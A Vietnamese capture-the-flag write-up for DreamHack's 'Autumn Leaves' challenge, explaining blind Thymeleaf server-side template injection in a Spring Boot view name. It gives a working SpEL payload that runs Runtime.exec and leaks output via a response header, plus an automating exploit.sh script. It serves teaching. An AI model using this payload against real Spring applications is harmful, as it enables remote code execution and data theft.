---
# System prepended metadata

title: '[WarGame] DreamHack: Autumn Leaves'
tags: [Web Exploitation, Java]

---


---

# Autumn Leaves

## **1. Brainstorm:**
Dựng challenge ở local bằng Docker.
![image](https://hackmd.io/_uploads/H1gIpuCEZl.png)


Truy cập web server tại `http://localhost:8080`, ta thấy trang chủ:

<!-- ![image - Trang chủ Autumn Leaves] -->
![image](https://hackmd.io/_uploads/BJ2RpORV-e.png)

Phân tích `MainController.java`:



```java
package com.example.autumn_leaves.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.ui.Model;

@Controller
public class MainController {

    @GetMapping("/")
    public String main(){
        return "index";
    }

    @GetMapping("/user")
    public String router(@RequestParam(required = false, defaultValue = "guest") String id){
        return "user/" + id;
    }

    @GetMapping("/error_page")
    public String pageError(@RequestParam("status") String status, Model model){
        model.addAttribute("status", status);
        return "error";
    }
}
```

Ta thấy `MainController.java` có xử lý endpoint `/user`:

```java
@GetMapping("/user")
public String router(@RequestParam(required = false, defaultValue = "guest") String id){
    return "user/" + id;
}
```
Tại route `/user`, tham số `id` được lấy từ người dùng (User input) và nối trực tiếp vào chuỗi trả về `return "user/" + id;`.
Trong Spring Boot với Template Engine Thymeleaf, khi Controller trả về một String, nó được coi là **View Name**. **ThymeleafViewResolver** sẽ cố gắng tìm file template tương ứng, nếu không tìm thấy thì sẽ ném ra Exception (hoặc báo lỗi tuỳ vào config). Nếu Exception không được ****try-catch**** thì Spring Boot sẽ forward request đến `/error` , nơi mặc định để xử lý các lỗi (error handling path) khi có sự cố xảy ra trong ứng dụng.



File `MyErrorController.java`:

```java
package com.example.autumn_leaves.controller;

import org.springframework.boot.web.servlet.error.ErrorControll    er;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.view.RedirectView;
import javax.servlet.RequestDispatcher;
import javax.servlet.http.HttpServletRequest;

@Controller
public class MyErrorController implements ErrorController {
    @RequestMapping("/error")
    public RedirectView handleError(HttpServletRequest request) {
        Object status = request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE);

        if (status != null) {
            Integer statusCode = Integer.valueOf(status.toString());
            return new RedirectView("/error_page?status=" + statusCode);

        }
        return new RedirectView("/error_page?status=");
    }
    @Override
    public String getErrorPath() {
        return "error";
    }
}
```

Ta thấy `MyErrorController.java` đang triển khai `/error` handler với 2 trường hợp là có lỗi có status code hoặc không, nhưng chung quy đều sẽ được đưa tới `/error_page` và trả về `error.html` 

Vấn đề nằm ở chỗ Thymeleaf có tính năng **Preprocessing** cho View Name. Nếu tên View chứa biểu thức đặc biệt như `__${...}__`, Thymeleaf sẽ thực thi biểu thức đó trước khi tìm file template. Đây là lỗ hổng **Server-Side Template Injection (SSTI)**.

Tiếp theo, ta xem `Dockerfile` để biết vị trí của Flag và cấu hình server:

```dockerfile
FROM eclipse-temurin:8-jdk-jammy

ENV USER author
ENV PORT 8080

RUN adduser --disabled-password $USER

WORKDIR /app

COPY ./deploy/autumn-leaves-1.0-SNAPSHOT.jar .

RUN apt-get update && \
    apt-get install -y gcc

COPY ./deploy/flag.c /flag.c
RUN chmod 444 /flag.c && \
    chown root:$USER /flag.c

USER $USER
EXPOSE $PORT

CMD ["java","-jar","./autumn-leaves-1.0-SNAPSHOT.jar"]
```

File `flag.c` được đặt ở thư mục gốc `/` và chỉ có quyền đọc (`444`). Đồng thời web server chạy dưới quyền user `author` (quyền thấp).

```dockerfile
COPY ./deploy/flag.c /flag.c
RUN chmod 444 /flag.c
USER author
```


## 2. Exploit:
**Hạn chế:**
Khi thử payload cơ bản để đọc file, ta gặp trở ngại:
Endpoint `/error_page` (do `MyErrorController` quản lý) và file `error.html` không hiển thị chi tiết lỗi Exception. Điều này có nghĩa là chúng ta đang đối mặt với dạng **Blind SSTI**.
**`error.html`**
```html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Error</title>
    <link rel="stylesheet" th:href="@{css/error.css}">
</head>
<body>
<div class="error-container">
    <h1>Oops!</h1>
    <p>Something went wrong. We're sorry for the inconvenience.</p>
    <p th:if="${status}">Error Code: <span th:text="${status}"></span></p>
    <a href="/" class="button">Go Home</a>
</div>
</body>
</html>
```


Và khi kiểm tra Specfile, ta thấy `allow_outgoing = false`. Điều này chặn đứng hướng tấn công OOB (Out-of-Band) thông thường qua `curl` hay `wget` ra server của hacker.

```
[wargame]
title = Autumn Leaves
flag = **REDACTED**
tags = web

[vm]
os = linux
memory = 128
disk = 1024
ports = 8080/tcp
allow_outgoing = false
docker_compose = false
```
--> Blind SSTI nhưng không OOB được.
**Hướng giải quyết: Response Injection (In-Band Exploitation)**
Vì code thực thi được viết bằng Java (thông qua `SpEL`), ta có thể can thiệp trực tiếp vào đối tượng `HttpServletResponse` của request hiện tại để gửi dữ liệu về client mà không cần thông qua `View Resolver`.

Chúng ta sẽ sử dụng `RequestContextHolder` để truy cập Request hiện tại, lấy Response object, và thêm một Header tùy chỉnh chứa nội dung Flag.

**Xây dựng Payload:**

Payload `SpEL`:
* `T(org.springframework.web.context.request.RequestContextHolder)` : Truy cập Static Class
* `currentRequestAttributes().getResponse()` : Lấy đối tượng Response hiện tại
* `addHeader("X-Flag", ...)` : Ghi flag vào Header X-Flag
* `Runtime.exec()` : Chạy lệnh bash pipeline
* `base64 -w 0 /flag.c` : Đọc file flag.c và encode base64 để tránh lỗi ký tự đặc biệt (dấu #, xuống dòng) làm hỏng Header.


Java code tương ứng với payload trong `exploit.sh`

```java
HttpServletResponse resp = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
Process p = Runtime.getRuntime().exec(new String[]{"/usr/bin/base64", "-w", "0", "/flag.c"});
Scanner s = new Scanner(p.getInputStream());
String b64 = s.next();
resp.addHeader("X-Flag", b64);
```

Việc dùng `new String[]{"cmd", "arg"}` trong `exec()` là để tránh lỗi phân tách tham số khi có khoảng trắng.

Script `exploit.sh` tự động hóa quá trình tấn công:

```bash
#!/bin/bash
TARGET="http://host8.dreamhack.games:22791" 


#1. Payload sử dụng
RAW_PAYLOAD='guest :: __${T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().addHeader("X-Flag",new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new java.lang.String[]{"/usr/bin/base64","-w","0","/flag.c"}).getInputStream()).next())}__'

# 2. Encode Payload 
# Sử dụng Python để URL Encode payload vì payload chứa nhiều ký tự đặc biệt như $ { } "
ENCODED_PAYLOAD=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" "$RAW_PAYLOAD")

# 3. Gửi Request & Lọc Header
# Curl -I: Chỉ lấy Header
# grep X-Flag: Lọc dòng header chứa flag
RESPONSE_HEADERS=$(curl -s -I "$TARGET/user?id=$ENCODED_PAYLOAD")
BASE64_FLAG=$(echo "$RESPONSE_HEADERS" | grep -i "X-Flag:" | awk '{print $2}' | tr -d '\r')

# 4. Decode & Compile & Run
# Nội dung file flag.c lấy được là source code C, cần biên dịch để chạy.
echo "$BASE64_FLAG" | base64 -d > real_flag.c
gcc real_flag.c -o real_flag
./real_flag
```



**Thực hiện script:**
 Ở đây ta làm ở local và file zip đề cho cũng không cho file `flag.c` để test nên ta sẽ tự dựng 1 file `real_flag.c` để test payload trong quá trình giải trước khi làm ở remote.
`real_flag.c`
```C
#include <stdio.h>
int main() { printf("DH{fake_flag_for_testing}\n"); return 0; }
```
Sau khi chạy, script tự động biên dịch code C lấy được từ server và thực thi nó để in ra flag.
![image](https://hackmd.io/_uploads/BkEHzK0NZe.png)


## **3. Reference:**
https://cwe.mitre.org/data/definitions/1336.html

